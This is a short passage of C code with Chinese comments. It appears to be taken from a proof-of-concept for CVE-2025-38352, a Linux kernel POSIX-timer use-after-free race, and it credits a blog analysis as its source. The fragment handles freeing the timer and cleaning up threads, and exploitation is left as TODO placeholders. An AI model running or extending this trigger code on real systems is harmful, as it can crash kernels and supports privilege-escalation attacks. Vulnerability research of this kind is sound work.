// 创建太多睡眠线程,因此如果启用KASAN,
// 需要稍微降低此值。
usleep(1 * 1000);
timer_delete(uaf_timer);
// 让计时器被RCU释放,然后让父进程知道它可以退出
wait_for_rcu();
// 此时,要么UAF已触发,你会在dmesg中看到内核告警
// 或KASAN崩溃信息,要么我们失败了。
//
// TODO exploit: 在此处找出如何检测我们是否赢得了竞争
for (int i = 0; i < num_sleep_threads; i++) {
write(stall_fds[1], &m, 1);
}
for (int i = 0; i < num_sleep_threads; i++) {
pthread_join(sleep_threads[i], NULL);
}
// 向父进程发出信号以退出
SYSCHK(write(c2p[1], &m, 1));
// 等待父进程退出
close(c2p[1]);
close(p2c[0]);
close(stall_fds[0]);
close(stall_fds[1]);
exit(0);
}
}
}
// 如果我们跳出上面的 while 循环,说明赢得了竞争
// TODO exploit:
exit(0);
}
原文:https://faith2dxy.xyz/2025-12-24/cve_2025_38352_analysis_part_2/

